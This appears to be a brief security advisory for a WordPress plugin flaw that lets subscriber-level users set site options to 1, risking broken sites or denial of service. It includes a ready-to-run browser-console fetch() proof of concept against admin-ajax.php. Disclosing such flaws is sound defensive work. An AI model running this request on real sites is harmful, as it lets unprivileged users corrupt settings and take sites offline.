Description The plugin does not prevent user with low privileges on the site, like subscribers, from setting any of the site’s options to 1, which could be used to break sites and lead to DoS when certain options are reset

Run the below command in the developer console of the web browser while being on the blog as a subscriber user:

fetch("/wp-admin/admin-ajax.php?action=es_dismiss_notices", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "notice=template",
  "method": "POST",
});
